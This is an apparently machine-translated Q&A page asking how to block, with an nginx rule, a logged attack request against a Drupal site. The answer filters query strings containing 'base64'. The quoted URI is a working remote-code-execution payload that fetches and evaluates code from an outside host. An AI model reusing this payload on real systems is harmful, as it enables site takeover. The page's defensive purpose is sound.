【问题标题】:eval base64 virus - nginx regex preventioneval base64 病毒 - nginx 正则表达式预防
【发布时间】:2018-11-02 17:43:15
【问题描述】:

这是一种常见的病毒,它会通过以下 URI 进行攻击:

/?q=user/password&name%5B%23post_render%5D%5B0%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22ZXZhbChmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2Zvcm1hbi1kZXNpZ24uY29tL3BsdWdpbnMvZ2RfZm9udHMvaW5kb3hlLnR4dCIpICk7%22%29%29%3B%2F%2F&name%5B%23markup%5D=assert&name%5B%23type%5D=markup HTTP/1.1" 200 21803 "https://example.com/

如何防止它通过nginx?

我试过了

location ~* base64 { 
    return 404;
} 

放下任何包含 base64 的请求,但它不起作用。请帮助并给我正确的 nginx 正则表达式规则。 (我无法修改应用代码库或更新系统)。

【问题讨论】:

    标签: regex security nginx virus


    【解决方案1】:
    if ($query_string ~ "base64") {
        return 404;
    }
    

    【讨论】:

      猜你喜欢
      • 2013-05-11
      • 1970-01-01
      • 2013-05-08
      • 2021-03-15
      • 2010-11-26
      • 2017-09-20
      • 1970-01-01
      • 1970-01-01
      • 2010-10-13
      相关资源
      最近更新 更多